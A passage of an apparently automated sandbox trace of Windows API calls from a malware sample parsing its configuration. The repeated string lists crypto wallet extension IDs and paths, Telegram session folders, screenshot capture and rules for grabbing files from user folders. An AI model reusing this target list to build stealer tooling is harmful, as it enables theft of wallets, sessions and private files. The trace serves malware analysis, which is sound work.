Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 3131 [0260.186] LocalAlloc (uFlags=0x40, uBytes=0x1876) returned 0x6bc820 [0260.186] StrStrW (lpFirst="ews_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3", lpSrch="_") returned="_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3" [0260.186] lstrlenW (lpString="ews_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 3131 [0260.186] LocalAlloc (uFlags=0x40, uBytes=0x18f6) returned 0x6be0a0 [0260.186] StrCpyW (in: psz1=0x6b9720, psz2="ews" | out: psz1="ews") returned="ews" [0260.187] LocalFree (hMem=0x6be0a0) returned 0x0 [0260.187] StrStrW (lpFirst="ews_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3", lpSrch="\n") returned="\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3" [0260.187] lstrcmpiW (lpString1="ews", lpString2="libs") returned -1 [0260.187] LocalFree (hMem=0x6b9720) returned 0x0 [0260.187] LocalFree (hMem=0x6bafa0) returned 0x0 [0260.188] LocalFree (hMem=0x6bc820) returned 0x0 [0260.188] StrStrW (lpFirst="ews_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3", lpSrch="\n") returned="\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram 